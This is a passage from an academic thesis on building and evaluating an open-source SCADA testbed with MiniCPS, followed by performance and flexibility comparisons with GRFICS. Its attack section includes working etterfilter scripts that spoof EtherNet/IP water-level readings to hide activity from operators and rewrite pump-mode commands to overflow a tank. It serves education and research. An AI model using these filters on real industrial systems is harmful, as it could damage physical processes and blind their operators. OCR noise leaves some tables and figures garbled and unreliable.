55..284.76.. 10.168.1.20 10.168.1.150 cIp 110 Success: Service (0x4d)
55..285.51.. 10.168.1.20 10.168.1.150 CIP CM 140 Unconnected Send: 'LIT101:1' - Service (0x4d)
55..286.24.. 10.168.1.20 10.168.1.150 CIP 110 Success: Service (0x4d)
55.. 286.92.. 10.168.1.20 10.168.1.150 CIP CM 140 Unconnected Send: 'LIT101:1' - Service (0x4d)
55..287.73.. 10.168.1.20 10.168.1.150 cIp 110 Success: Service (0x4d)
55..288.31.. 10.168.1.20 10.168.1.150 CIP CM 140 Unconnected Send: 'LIT101:1' - Service (0x4d)
55..289.45.. 10.168.1.20 10.168.1.150 CIP 110 Success: Service (0x4d)
55..289.87.. 10.168.1.20 10.168.1.150 CIP CM 140 Unconnected Send: 'LIT101:1' - Service (0x4d)

Request Path Size: 5 (words)
~ Request Path: LIT101:1
» Path Segment: 0x91 (ANSI Extended Symbol Segment)
~ CIP Class Generic
~ command Specific Data
Route Path Size: 1 (words)
Reserved: 0x00

Figure 18 - Using Wireshark we can analyze the Ethernet/IP protocol to get the state of the system.

Doing some reverse engineering we discover that the first 4 bytes, Oxca000100, are
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repeated on every package sent, so we focus on the last 4 bytes, 0x85eb513f. Then we
try to convert these bytes into a float value:

(hex) 0x85eb513f = (float) 0.8200 (1)

Based on the debug output from the RTU, as seen in Figure 19, we can confirm both
values match. This means that it is possible to measure the water level of the tank and
determine what is the process doing: increasing the water level or decreasing it.

-
DEBUG MODE:1
MODE : 1L 0-0 1<=[2]

MODE -1 == [21: 'OK'\n", None)
MODE :1 == [2]1: 'OK'\n"

MY001:0 <= [2]1: 'OK’
[DEBUG] Mater level: 0.82000
LIT101:1 <= [0.8199999999999971: 'OK’
DEBUG MODE:1
DEBUGL (b" MODE :1 == [2]1: 'OK’'\n"., None)
MODE :1 == [2]1: 'OK'\n"

Figure 19 - We prove the data extracted using Wireshark matches the RTU reading.

In addition, we can inject malicious values in the scenario. When the SCADA requests
information to the RTU, we can intercept the connection and spoof the measure. This
way, an attacker might cover its traces not to be detected by the SCADA operators or any
IDS analyzing the status.

As the protocol works clear-text, using the layer 7 in the OSI stack, we can use ettercap
and the etterfilter utility to intercept and modify the traffic. To accomplish this goal, we
create the following etterfilter, which locates the tag send from the RTU to the SCADA,
containing the water level of the physical process, and changes it to zero.

# Check the protocol is TCP
# The destination port is 44818
# The data byte 14 is the letter °’L’ (from the LIT101:1 tag)

if (ip.proto == TCP && tcp.dst == 44818 && DATA.data + 14 == "\x4c") {
# Changes the hexadecimal value of the tag to O

DATA.data + 26 = "\x00\x00\x00\x00";

msg("Data replaced");

}

Afterwards we just need to compile and run the filter. This way, we could inject a ma-
licious value into the HMI that would hide our actions in the PLCs or the physical process.

5.2.5 Command injection

Due to the fact that the scenario uses EtherNet/IP, based on TCP, we are not able to re-
produce the same attack that would be executed using a standard ICS protocol. This is
because the TCP protocol keeps the state of the communication through the sequence
number and the state flags. Then, we cannot establish easily a new TCP flow.
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Therefore, we are going to use the same approach used in the response and measure-
ment attacks. We can intercept the communications and edit the values of the commands
send by the SCADA server to the devices using the tool ettercap and the utility etterfilter.

We have defined two different goal scenarios on the testbed that can be achieved by
the attacker, i.e., underflow and overflow. The first one consists of emptying the water
tank and the second consist of overflowing it.

For example, we can achieve the overflow scenario by using the following filter:

# Check the protocol is TCP
# The destination port is 44818
# The data byte 14 is the letter ’M’ (from the MODE:1 tag)

if (ip.proto == TCP && tcp.dst == 44818 && DATA.data + 14 == "\x4d") {
# Sends mode 5, closing the second pump

DATA.data + 24 = "\x05\x00";

msg("Data replaced");

}

if (ip.proto == TCP && tcp.dst == 44818 && DATA.data + 14 == "\x4d") {
# Sends mode 3, opening the first pump

DATA.data + 24 = "\x03\x00";

msg("Data replaced");

}

First, we change the command send from the control device to the mode 5, closing the
second pump. Then, we change the command to the mode 3, opening the first pump in
order to overflow the system.

40



6 Evaluations

After the development and demonstration of the solution achieved, we need to evaluate
whether the solution is valid or not for our initial requirements. As a reminder, we de-
fined two different qualitative requirements in chapter three: the ease of use, due to the
framework would be managed by students learning SCADA infrastructures without high
developer skills; and the usability of the solution for research purposes. In order to vali-
date those qualitative requirements, we have proposed quantitative metrics that can be
measured and compared. Therefore, in this chapter we will collect the different metrics
needed to assess the validity of our testbed.

During this chapter, we will compare different solutions using our benchmark metrics
and procedures. First, our solution, which is a scenario based on MiniCPS; second, an
ideal solution, which is a theoretical scenario where all the metrics accomplish our expec-
tations; and third, the GRFICS solution, described in chapter 4, which is scenario based on
virtual machines that simulate the devices using different virtualization technologies.

Nevertheless, we cannot compare the performance of the ideal solution, as we cannot
calculate theoretically these requirements.

6.1 Execution Performance

We define performance as the amount of useful work accomplished by a computer sys-
tem. It can be estimated in terms of accuracy, efficiency and speed of executing a com-
puter program. Some measurements that characterize the performance are: the rate of
performing works, the level of resource utilization, the bandwidth usage or the data trans-
mission time.

Fidelity time-based metrics lose their value in virtualized testbeds, like the response
time between a packet sent by the SCADA to the PLC. This is because the machines which
run the virtualized testbeds are usually more powerful than the field devices and the exist-
ing time restrictions from ICS can be managed in the testbeds by adding delays. Because
of this reason and for the purpose of our solution, it is more important to focus on the IT
features than the ICS ones.

In our case we will measure the allocation of computer resources (CPU and RAM), the
bandwidth usage (i.e., the total number Bytes send within the network) and the number
of read/write bytes in disk. For the evaluation, we compare these counters in our solution
and using the GRFICS solution. In addition, we also measure while the system is idle, i.e.,
nothing is running; in order to deduct the OS performance.

Our host system is a Windows 10, with 24 GB RAM and 8 CPUs. To run our solution,
we are using a virtual machine with 4 CPUs and 8 GB RAM, running Ubuntu 18.04. To run
the GRFICS solution we use 4 different virtual machines already prepared by the authors
that require 3 GB RAM and 4 CPUs. We could anticipate this RAM difference will be easily
shown in our results, as the initial values are different.

We have taken the average measures of every 10 seconds using the tools dstat, inside
the virtual machines and the tool Performance Monitor, from the Windows host.

In Figure 20, the comparison of the two solutions is shown. GRFICS requires more
CPU usage than MiniCPS (20a), but less RAM memory (20b), however the difference is
relatively small.

We see a huge contrast in terms of traffic (20c) and Bytes written in disk (20e), where
MiniCPS exceeds GRFICS in order of four times more. We can speculate that this fact is
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caused by the implementation design of our scenario. The Bytes read from disk (20d) are
similar in both solutions.

6.2 Scalability

To measure the scalability we want to extend our scenario to cover several users. This can
be done by increasing the number of subnets in the system. Each user can connect to a
different subnet and access the trafficin it.

However, the actual design of MiniCPS presents some limitations. First, the modular
approach taken by the authors forces to encapsulate the logic of every process inside
a virtual devices. This way, it is necessary to replicate manually the whole scenario, i.e.,
when writing the code, to add a new user, we need to create new files for every replicated
device and the perform changes on those files such as editing the IP address, MAC address
or even the logic of the scenario.

Second, due to the limitations found in the framework, more precisely the issues re-
marked in the previous chapter related to the network connections and not being able to
take the traffic out of the virtual network. We were not able to use a distributed approach,
where the subnets or the SCADA server can be running on different machines.

Therefore, to provide a simple measurement of the scalability of the system. We are
only going to analyze the previous performance metrics when adding more users or sub-
nets. This way, we can calculate the maximum number of users depending on the system
specifications.

In this case, the tests are run in the Ubuntu 18.04 virtual machine with 4 CPUs and 8
GB RAM. We have taken the average measures of every 10 seconds using the tools dstat,
inside the virtualized environment.

In Figure 21, the comparison based on the number of users is shown. In our scenario,
the number of users is given by the number of subnets. As expected, the performance is
always degraded when adding more users. It should be noted that the consumption of
RAM keeps stable during the three schemes, i.e., one subnet, two subnets and three sub-
nets (21b). The CPU usage is doubled with two users and consumes 100% of the allocated
processors (4) in the three users scenario (21a). The network traffic (21c) and the Bytes
written in disk (21e) grow linearly, with bigger peaks when we have more users. Finally, as
seen in the previous performance analysis, the Bytes read from disk look the same.

6.3 Portability

We consider portability to the capacity of any software of being effectively and efficiently
transferred from one hardware, software or other operational or usage environment to
another [2]. In this case, due to the nature of the development, we will consider the
change of operating system as the only feasible metric. The portability in terms of hard-
ware does not matter; because of the virtualization scenario, changing the computer
where the testbed is running does not change its behavior, as far as the operating sys-
tem is compatible. For this reason, we have to analyze whether the testbed is compatible
with different operating systems or not.

The testbed is written in Python3. Python3 is compatible several platforms, from the
official documentation it is well compatible with Linux, Windows Vista and newer, FreeBSD
10 and newer, macOS Leopard (macOS 10.6, 2008) and newer [42].

The testbed uses the software MiniCPS, which is based on Mininet, a network emu-
lator able to create virtual networks, links, switches and hosts on a single machine. This
Mininet software is one of the key parts of the testbed, meaning that the portability of
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the whole project depends mainly on the portability of this piece of software. Reading
the documentation of Mininet, we can find that it is only fully compatible with Ubuntu
12.04+ and Fedora 18+, removing any possibility of being portable out of the Linux Kernel
[29].

Therefore, we can conclude the testbed is not portable and only runs under Linux oper-
ating systems. This is because it is based on the software Mininet, which written in Python
but it was developed to work only with the Linux Kernel.

6.4 Ease of deployment

To evaluate the ease of deployment, we are going to take two different values into ac-
count: the time required to deploy the scenario and the number of commands required
to run it. The time is important for us because we expect low latency when it comes to
run or restart a scenario, e.g. developing or editing the scenario, restarting during a CTF
event. Other authors [47, 40] only use time as a measure to evaluate and benchmark
their solutions, however we think that the number of commands indicates the degree of
automation and, therefore, the easiest to deploy.

These values can be compared between different solutions which represent the same
scenario to get the easiest to deploy. We have seen different solutions which required long
times in order to deploy a single scenario, but simplicity in the number of commands, e.g.,
solutions based on VirtualBox require a lot of time to boot and execute every device from
the scenario, however, they do not need many commands to run, as they execute the
software automatically after boot.

We are measuring the ease of deployment in three possible schemes: the actual so-
lution, based on MiniCPS, which is not fully automatic; an ideal iteration, based also in
MiniCPS, which tried to fix this lack of automation; and the GRFICS [16] tested solution,
based on VirtualBox. We cannot directly compare the three schemes because the first
two and the last one do not represent the same scenario. However, we will try to set this
values depending on the number of devices.

6.4.1 Number of commands

Our solution The number of commands required to run our solution can be represented
with the actions performed:

Run MiniCPS = 1 command

Load the xterms for the device = 1 command

Run the each device process = 1 command / device
Run the HMI = 1 command

Therefore, the number of commands can be represented by O(n). We consider n
as the number of devices.

Ideal solution The ideal, but failed, iteration tried to reduce the actions performed in
MiniCPS, i.e., running each device manually, to one single action as follows:

e Run MiniCPS and automatically launch the devices = 1 command

e Run the HMI =1 command
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This iteration consisted of an orchestration script inside the MiniCPS python code
which executes a bash command calling each python processes. This failed due
to MiniCPS limitations. We found network instability using this approach caused
by race-conditions and memory leaks caused by the python processes and the big
amount of database workers reading and writing. In Figure 22 we can see several
processes left unclean after the scenario was ended.

gs/protocols_tests_enip_server --a 68.1.10:44818 MVO1:0=INT

protocols_f server -- 2=INT FIT201:2-RE

nip --print --log logs/protoco ts_enip_server -- 5 .20:44818 LIT101:1=REAL MODE:1=I

--print --log logs/protocols_tests_enip_server --address 10.168.1.150:44818 LIT101:1=REAL MODE:1=

childID 1 -isForBrowser -prefslen 1 -prefMapsize 2 7114607 -appdir /
hildID 2 -isForBrowser -prefsien 238 -p 567114007 -appdir

entBul
ontentproc -childID 3 -isForBrowser -prefs -parentBuildID 6507114067 -appdi

[kworker /2:1-eve]
[z_wr_int]
wr_int]

Figure 22 - There are several processes and threads that are left unclean when we try to automate
the deployment

In this case, the number of commands can be represented by O(1).

GRFICS solution The GRFICS solution runs every device through VirtualBox and uses its
internal network to connect them. It only requires to boot every VM to execute the
scenario.

e Boot every device = 1 command / device

Again, like in our solution, the number of commands can be represented by O(n).

6.4.2 Time of deployment

To measure the time of deployment, we do not count the booting time of the host OS, as
it depends entirely on the OS and the hardware. We consider this value starts from the
first command executed until the scenario is fully deployed and ready to receive attacks.
In case of using VirtualBox to run the devices, we count the booting time of each device
in parallel.

We are going to measure five times the time of deployment for each one of the schemes
defined previously. Even if the second solution does not really work, we will consider it
valid in terms of theoretical comparison, to evaluate possible improvements.

The time measures can be found in table 2.

Table 2 - Measures of the time required to execute the scenario, in seconds.

Our solution Ideal solution GRFICS solution
t 44.49 20.20 69.29
t 33.90 19.14 67.68
13 37.00 23.40 55.28
14 50.12 23.85 62.44
ts 41.55 20.91 59.42
Total 1.4 21.5 62.82
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Using the previous values from the number of commands required to deploy, we can
extract the formulas to calculate the time to deploy (z;) for each one of the analyzed
schemes.

To do so, we differentiate the commands between the ones that depend on the num-
ber of devices and the ones which don’t. We are calling the first ones static commands
(SCs) and the second ones dynamic commands (DCs). This way, we have tsc and tpc as the
times required to run them. We consider n as the number of devices.

Our solution The time required to deploy our solution is around 41 seconds on average.

tq =tsc+1Itpc*n
ty = 10 seconds +tpc *xn

Ideal solution The time required to deploy the ideal solution is around 22 seconds on
average. This time, just SCs are executed, because we only need a single set of
commands to run the scenario.

fqa =Isc
ty =22 seconds

GRFICS The time required to deploy the ideal solution is around 63 seconds on average.

ti=Yitsc
tg =tg +1tp +153+1t44 = 63 seconds

6.5 Flexibility

Software flexibility is one of software properties that indicate the capability to change
and adapt to solutions, i.e. how easy the software can be changed. However, it is not
simple to measure and evaluate it. To measure the flexibility of the framework used, we
use the study from Shen and Ren [41], based on the Function Point Analysis (FPA), initially
developed by Allan J. Albrecht in 1979 at IBM and further modified by the International
Function Point Users Group (IFPUG).

The FPA is a reliable method for measuring the size of computer software. It mea-
sures the functionality that the user requests and receives. It also measures the software
development and maintenance cost and size independently of the technology used for
implementation.

In their research, Shen and Ren identify five steps to measure and analyze the software
flexibility:

Identify the flexible points.

Analyse and calculate the flexible distance of every flexible point.

Determine flexible point level and its flexible force value.

Calculate the flexible degree of every flexible point.

e Calculate flexible capacity for different analysis.

6.5.1 Identification of flexible points

A flexible point (FXP) is a location in software that can cause flexible changes in it. The
FXP can be a function, function control points, a reconfiguration, a segment of codes, a
variant point etc.
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In our study case, we are analysing a testbed solution, used to create our scenarios.
Therefore, the FXPs are implicit in the functionalities of the framework, e.g. edit the sce-
nario, add new users.

We have identified four different FXPs:

1.

2.

3.

4.

Edit the scenario. For example, adding new industrial devices or changing the logic
of the scenario.

Add new users to the scenario. In our case, to increase the users we have to add
more attacker-subnets to the scenario.

Add external devices. For example, IDS or databases. This time, the external de-
vices do not directly interact with the scenario and they only receive information
passively.

Add new protocols. Either implementing new industrial protocols or adding already
developed ones.

6.5.2 Calculation of flexible distance

Flexible distance is the range or size of the software change caused by a FXP. First, to
calculate the flexible distance, we divide each FXP into the different functions involved in
its developing. There are five different function types:

External input (El). Receives information from outside the application boundary.
External output (EO). Displays information of the information system.

External inquiry (El). A special type of external output. Displays information of the
information system after performing a search criterion.

Internal logical files (ILF). The files containing the data and code.

External interface files (EIF). The files containing the data but maintained by exter-
nal information systems.

Second, we classify the function types as simple, average or complex, giving them a
specific weight to each. Table 3 shows the function types and the weighting factors for
the varying complexities. This classification has been taken from the Reference manual
for the Early & Quick Function Points method [27].

Table 3 - Function type weights for the flexible distance calculation.

Function types Simple Average Complex
External input 7 10 15
External output 5 7 10
External inquiry 3 4 6
Internal logical files 4 5 7
External interface files 3 4 6

For each FXP the sum of the weights quantifies the size of information processing and
is referred to as the Unadjusted Function Points (UFP). As defined by Shen and Ren, as we
are only concerned about the change size, we can take UFP counts as flexible distance.
Thus, the flexible distance indicates how much effort requires any change.
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Using these definitions above, the calculations of the flexible distances, for each FXP,
in our study case are seen in table 4. We have assessed the weights for each function
involved in the FXP based on our experience during the development.

Table 4 - Flexible distance calculation for the FXPs defined.

Flexible point Function involved Funtion type | Weight
Create device logic ILF 10
Update topology ILF 7
Edit the scenario Change other de- | ILF 15
vices logic to connect
it
Edit configurationfile | ILF 7
Edit GUI to add the | EO 5
device
Total 44
Update topology ILF 7
Add new users C.hange ‘ other de- | ILF 7
vices logic to connect
it
Edit configurationfile | ILF 10
Edit GUI to add the | EO 5
device
Total 34
Update topology ILF 7
Add external devices | Change the other de- | ILF 10
vices logic to connect
it
Edit configurationfile | ILF 7
Total 24
Create protocol logic | ILF 15
Add new protocols Create an interface | ELF 10
for devices to use the
protocol
Edit configurationfile | ILF 7
Total 32

6.5.3 Determination of flexible force value

Software manipulators can be general users, maintainers or developers, but their ability
to manipulate software is different. Based on the manipulator level needed to perform
the changes, it is possible to divided them into different FXP levels: Self-Adaptive (SAFXP),
self-changes performed at runtime transparent to the users; Low-level User (LUFXP), users
with basic knowledge about computers and business; High-level User (HUFXP), software
high-level users with in-depth knowledge about computers and the application domain;
and Developer-level User (DUFXP), developer users who have experience and knowledge
of business, system administration and software development.

The flexible force is the minimum external force applied to a FXP that can cause the
software to change. It is based on the FXP level. Table 5 shows the FXP levels and defines
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the corresponding value of flexible force. This table have been taken by definitions from
the research of Shen and Ren [41]. These values are used later on to calculate the flexible
capacity of every proposed scheme.

Table 5 - Flexible force values based on the FXP levels.

Flexible point | Flexible force | Manipulation

level value

SAFXP 0 Not need user’s manipulation

LUFXP 10 Simple function manipulation

HUFXP 20 Complex function and business manipulation
DUFXP1 30 Low technical manipulation

DUFXP2 40 Average technical manipulation

DUFXP3 50 High technical manipulation

6.5.4 Calculation of flexible degree and capacity

Table 6 shows the calculations of the flexible degree and capacity for our solution. We pro-
pose three implementation schemes that require different manipulator levels and there-
fore, different flexible force.

The first one is the solution developed for this research itself, based on MiniCPS; the
second would be a theoretical implementation which is more promising, e.g., lowering
developer level required, with some standard software like Docker, which can simplify
the network limitations from MiniCPS; and the third one is a more complex solution in
terms of software coding, like GRFICS, which increases the developer level.

From our experience developing the scenario, we take for granted that the minimum
required level to create the testbeds using MiniCPS and fulfill the FXP requirements is a
developer level, as we need to write source code lines to perform any change or just to
create the testbed scenario.

We focus our research in students, teachers and security professionals; so we consider
that low and average developer levels are the available manipulators.

From the calculation table we see that the first scheme requires software manipulators
from low-developer level to high-developer level. However, as we defined in our require-
ments, we only have below average-developer level, so the available flexibility will never
be 100%. In this case, a manipulator with an average-developer level would be the one
with most flexible capacity.

The second scheme represents an ideal solution, which reduces the manipulator level
of the different FXPs. This time, it is not required a high-skill manipulator, increasing the
available flexibility to the maximum and providing a low-developer level user the biggest
capacity of the three schemes.

In the third scheme, we define the most complex one, representing GRFICS. For ex-
ample, we define that adding new protocols to this schema is not possible. To develop a
new protocol in this solution would require to change also the devices, because they are
virtualized software that are only compatible with a specific ICS protocol.
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Table 6 - Final flexibility calculations.

Flexible point Flexible Scheme 1 Scheme 2 Scheme 3
P distance fi K; fi K; fi K;

. . (40) (30) (50)

Edit the scenario 44 DUEXP2 1.07 DUEXP1 1.41 DUEXP3 0.86
(40) (30) (50)

Add new users 34 DUEXP2 0.83 DUFXP 1.10 DUEXP3 0.67
. (30) (30) (40)

Add external devices | 24 DUEXP1 0.77 DUEXP1 0.77 DUEXP2 0.59

(50) (40)

Add new protocols 32 DUEXP3 0.63 DUEXP2 0.78 ) 0
Required manipulators DU1, DU2, DU3 DU1, DU2 DU2, DU3
Available manipulators DU1, DU2 DU1, DU2 DU1, DU2

Potential flexible capacity 3.3 4.06 212

Available flexible capacity 2.67 4.06 0.59

Available rate of flexibility 81% 100% 28%
DUT1 flexible capacity 0.77 3.28 0
DU2 flexible capacity 1.9 0.78 0.59
DU3 flexible capacity 0.63 0 1.53
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7 Discussion

After the evaluation results, in this chapter we are going to discuss whether our solution
is appropriate for the defined objectives.

We only have been able to compare our solution with GRFICS, due to the fact that other
projects were not fully working or it was not possible to replicate the testbeds, because
they were not open source developments.

The evaluation has shown that our solution is as well suited as others, in the SCADA
testbed environment. Regarding the performance of our scenario, in terms of CPU and
RAM consumption, it is similar to GRFICS; but in terms of Bytes written in disk or network
traffic it is way behind the expectations. This implies that bigger networks or subnets
would cause a bigger impact in the performance.

The high amount of write operations are caused by the extended use of databases to
store information. This is because of two reasons: the design of MiniCPS and the virtual
network limitations.

First, MiniCPS is designed to store information in databases to keep the state of the sce-
nario, i.e., the physical process and the devices interacting with it use database queries
to update and read this state. Second, due to the network limitations found in MiniCPS,
which do not allow to connect the virtualized network to the outside, we had to sim-
ulate the information exchange between the SCADA network and the HMI using more
databases.

The same happens with the bandwidth usage. Using different network protocols it is
possible to separate the data exchange and control commands of the scenario, however,
MiniCPS only supports one ICS protocol, i.e., EtherNet/IP; as MODBUS in not fully devel-
oped. In our development, we use the same protocol for both tasks, which increases the
interactions of the devices to send the same amount of data. Besides, this required a
smaller update rate of the devices, i.e., the rate that every device loops its programmed
logic; increasing how many times the devices send and receive data.

On the other hand, we found that the read Bytes from the disk is not a very useful
metric in our case, as it keeps similar for the different solutions or even close to zero in
our experiments. The devices usually don’t read these bytes directly from disk, but from
RAM memory. Initially, the database is loaded in memory and afterwards it is updated in
memory and disk.

We have defined the feature ease of deployment as the simplicity to launch any testbed.
To evaluate it, we consider two metrics: the number of commands (or interactions) re-
quired to run the scenario and the time required to deploy it.

For the first metric, only the ideal solution presents a complexity of O(1), achieved
when the scenario can run by a fixed amount of commands. Either our solution or the
others analyzed depend on the number of devices, increasing the complexity to O(n).

In the second metric, the time to deploy, we see some advantage in our design (41
seconds) compared to GRFICS (62 seconds). However, due to the complexity given by the
number of commands, we can expect that the time will scale linearly, so running manually
every device or virtual machine will not be feasible in bigger scenarios.

By automatizing or orchestrating the deployment, it would reduce significantly the
complexity values to the ideal one O(1). It was not possible to implement this feature
due to the process leaks caused by the EtherNet/IP incomplete implementation and the
race-conditions of the workers reading and writing the databases.

The scalability measurement can be obtained through the conclusions of the perfor-
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mance and the ease of deployment analysis. First, the performance decreases linearly
with the number of users of the application (i.e., number of subnets), requiring a double
amount of resources just to run a scenario for two users. Second, the time required and
number of commands also increases linearly with the number of devices, affecting the
scalability. This growth will not be bearable at some point, for example, for 10 users the
number of commands will be around 53 and the time required 310 second.

Number of commands The number of commands required to run the solution for 10
users:

3 commands + 5 commands * 10 users = 53 commands.

Time to deploy The time required to deploy the solution for 10 users:

10 seconds + 30 seconds * 10 users = 310 seconds

Using distributed environments, i.e., running every process, device or set of devices
in an independent real machine, might help long-term to deploy scenarios in separated
machines that do not share resources, reducing the cost. This approach is not possible
due to the limitations found to connect the virtual network with the outside world. For
example, the solution GRFICS could use this approach, having its virtual machines running
on different servers and connecting them through the network.

Another solution would be using different implementation approaches, as concluded
by Qassim et al. [37]. This way, we can abstract the interactions of the scenario to the
user by using simulations even real hardware, instead of just virtualization, to increase
the performance in scalable scenarios.

Because our testbed is fully based on a third-party software, it is tied to this software
constraints. For example, the GRFICS solution uses different implementation approaches,
but connects everything using VirtualBox, which is portable to several OS. One just need
to run the virtual machine, where the testbed implementation is abstracted to the user.

MiniCPS provides a framework to develop python testbeds, based on its network ca-
pabilities, i.e., EtherNet/IP traffic. However, we have seen that the principal limitations
of the framework are in this level, i.e., lack of more industrial protocols, lack of network
connectivity to the outside.

A possible workaround would be using the virtualization tool Docker to cover the net-
work part of our solutions. It is designed to simplify connections between software run-
ningin its containers and we found several implementations of industrial protocols adapted
to Docker.

In our flexibility analysis, we compare three different schemes. First, our actual solu-
tion, which was assessed by the experience of developing our scenario using the MiniCPS
framework. This approach is only flexible in terms of a medium-skilled developer. For ex-
ample, in order to create new protocols we need to develop them low-level, interacting
with the software mininet which is abstracted to the user by the framework MiniCPS. We
assume this can be done only by an experienced high-skilled developer.

The second scheme was theoretical, thinking in solutions like Docker, which has a mod-
ular design and having other industrial protocols already developed by its community. This
simplifies the task of adding protocols to the testbed.

The third approach is based on the GRFICS solution. This virtual machine environment
requires customized developments in order to create protocols or add devices, increasing
the minimum threshold for the developers. In this case, the developer level is between
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medium and high-skilled. Besides, to develop new protocols in this approach, it would
require to create them from the scratch and make them compatible with the virtualized
devices. Therefore, we have set the flexible force to infinity, as it would not be feasible for
any single developer.

When we look for a bigger flexibility degree, we expect low developer level or even
less, like high user skills. This would mean that we require a well developed solution which
allows to create testbeds automatically or with simple configuration changes. Our testbed
solution is far away from this goal

7.1 Improvements for our solution

During the research we have based our work on the framework MiniCPS, this project is
at the same time based on the network simulator mininet. We have encountered several
limitations and issues, e.g., MiniCPS had became abandonware, some libraries were up-
dated and they were not compatible anymore. However, we believe it is still a promising
project which has a lot of range to grow, although it needs more development and com-
munity. Therefore, in this section we encourage future researchers to face this challenge
and we propose several improvements:

e Developing an interface, written in python, to connect external devices to the virtu-
alized network in a simple manner. This will extend the capabilities of the testbed,
by transforming the virtualized approach in a Hardware-in-the-loop (HIL) approach.

e Developing new ICS protocols and integrating them in the framework. For exam-
ple, in the case of MODBUS, updating or patching the old libraries, not supported
anymore by the framework.

¢ Improve the performance of the testbed by introducing modern software solutions.
For example, using a message broker, that can store information and return it with-
out overloading the system, it was possible to reduce the read operations.

e Refactor the whole project. MiniCPS became abandonware after the research team
was dissolved, two years ago. Refactoring the project would improve the ease of
use of it, reducing the flexibility level.

e Capturing the traffic to generate different datasets of ICS traffic. They can be used
in future researches to detect attacks or train machine learning models.

e Extending the configuration of the network. This includes setting VLANSs, routers or
IDS in the network, as well as linking the ICS network to a corporate one or even
the Internet.

¢ Extend the gamification part. During the development the focus was put into creat-
ing the scenario, setting the attacks and evaluate their results. For example, adding
challenges and a score portal would improve the gamification capability.

e Extending the testbed to a distributed model. Splitting the different subnets and
devices in a distributed model might increase significantly the performance.
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8 Conclusions

The development of SCADA testbeds will continue to be a mayor topic in cybersecurity due
to the big amount of research lines it can open. However, there is still a lack of open source
and common projects. This does not only affect the academia, but also the business envi-
ronment. Creating new customized testbed solutions for each problem is expensive and
unproductive.

With this research we expected to learn about SCADA systems and build a testbed so-
lution to contribute to the open source community, including a short guide about attacks
in such industrial scenarios. Besides, we needed to develop a process to validate our so-
lution, based on metrics which could help to decide whether the solution is valid or not
for us.

We can conclude that we have achieved all of these goals to some degree. Our testbed
solution works and allows to simulate an scenario to practice and learn the topic, al-
though, it is not ready to host a CTF event, as it lacks several functionalities, e.g. more
than three concurrent users, CTF dashboards. We have designed a process and defined
several metrics to evaluate testbed developments, realizing that our testbed does not
cover the minimum standards we were expecting. In addition, we have learned a lot on
the ICS topic, more specific in SCADA systems.

All of these negative results come from the issues found in the framework MiniCPS and
the limitations of the proposed design.

The project was abandoned 4 years ago, once the research team was finished. This has
influenced on our development, e.g., we had first to update to Python3 as the support was
finished in 2019.

The design of testbed solutions or frameworks should be also staked out from the be-
ginning. A good approach must prioritize a low coupling, so the change of one component
does not affect the others. Besides, the flexibility plays a big role in this kind of develop-
ments. The framework used creates unique scenarios but does not allow to expand in a
modular way, i.e., adding new protocols, connecting hardware to the network. We believe
the SCADA network is the most important part of any developed solution, as it is the part
that can limit the rest of the testbed.

In this research we have developed a SCADA testbed as well as a methodology to evalu-
ate the general performance and capabilities of the solution proposed. This methodology
can be used by other researchers to test different approaches and solutions.

The science design approach has helped us to follow step-by-step the methodology, in
order to prove the validity of our testbed solution. Starting from the problem statement
and design expectations, followed to the development and finished by the demonstration
and evaluation of those requirements; it has been possible to answer the question: Is this
solution valid for us?

Thus, this approach has allowed us to conclude our design doesn’t fulfill our initial
requirements and expectations. Furthermore, it raises the question of performing more
iterations on the proposed solution, creating a new solution from the scratch or looking
for another framework or software to build on.
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9 Future work

As the final wrap up, based on the issues and limitation found along the research, the re-
quirements fulfilled and failed, as well as the literature reviewed, we would like to propose
some research-lines for the future.

e Develop a new framework to build testbeds based on Docker. This way, it is possible
to remove the limitations coming from mininet and would improve the portability
and flexibility. This approach would also need to develop or import the libraries to
replicate ICS protocols.

e Develop a new framework to build testbeds based on virtual machine orchestration.
Taking the GRFICS solution as the starting point and using cloud solutions (AWS,
Azure...) This approach could provide a virtualized or even hybrid design that can
improve the portability, flexibility and ease of deployment.

e Scenario modeling. The scenarios found in ICS literature are commonly repeated,
creating a modeling framework to replicate any real life scenario into a testbed
would reduce the ease of use and increment the case uses for the community.

e Designing a benchmarking framework. Defining benchmark metrics and develop-
ing a measurement framework to assess the performance and capacities of the
testbeds. Extending the work of this research.

e Federation. Federation consists of a model where different providers and enter-
prises agree upon standards of operation in a decentralized fashion. This will affect
the portability, the development of standards, the definitions of models and data
and prevent the fragmentation of the industry.
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Abstract
Developing a SCADA Testbed from a Design Science Approach

Nowadays, cybersecurity in Industrial Control Systems (ICS) is gaining popularity. This in-
cludes any industrial process and infrastructure, e.g., wastewater treatment plants, nu-
clear plants, electric power distribution, turbines, railway systems. Due to the widely
extended use of the Internet of Things, devices of any type directly connected to the In-
ternet, the ICS environment is evolving. These systems, typically characterized by their
obscure and proprietary protocols, and isolated networks, are getting closer to traditional
Information Technology (IT) systems; by adding IT capabilities and replacing physical de-
vices by "smart" ones.

A very common solution in the current ICS environment is the supervisory control and
data acquisition (SCADA) system. It is used to control and monitor industrial processes,
collecting real-time data from sensors, displaying the process information to the human
operators, and sending manual or autonomous orders to the actuators. For example,
SCADA systems can be found in modern electric power distribution infrastructures, recol-
lecting data from the smart meters to measure the level of consumption, and controlling
the allocation of electric energy.

From the cybersecurity perspective, the research trends include Intrusion Detection
Systems (IDS) and testbeds. IDS solutions permit the detection of anomalies and ma-
licious behavior within the network. They have evolved from deterministic to machine
learning approaches. Testbeds are testing infrastructures which simulates a real environ-
ment. Since testing in real ICS can be dangerous and expensive, testbeds have gained
popularity.

Considering that having a real replica of a nuclear plant in the basement is not a option,
we believe testbeds are one of the main start points for researching in the ICS scene. The
main uses of such solutions are the vulnerability analysis, testing IDS products and edu-
cational purposes. Despite this, there is a lack of open source testbeds or open source
frameworks to develop such testbeds. We ponder that this is a threshold for future stu-
dents and researchers.

Therefore, this research will focus on the creation of an open source testbed and the
process of its development. For this task, we will follow a design science methodology.
This approach will help us to design, develop and validate our solution. The final goal is
to validate the procedures to develop a testbed. This procedures can be used later by
students, teachers or researchers to learn, teach and research this topic.
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Kokkuvote
Testimisplatvormi loomine SCADA siisteemidele kasutades di-
sainiteaduse metoodikati

Tanapdaeval on kiiberturve to6stusjuhtimissisteemides (ICS) muutumas iha populaarse-
maks. See holmab kéiki toostuslikke protsesse ja infrastruktuure, nagu naiteks reoveepu-
hasteid, tuumajaamasid, elektrienergia jaotust, turbiine, raudteesiisteeme. Asjade inter-
neti laialdase kasutamise tottu areneb ICS-i keskkond. Need stisteemid, mida tavaliselt ise-
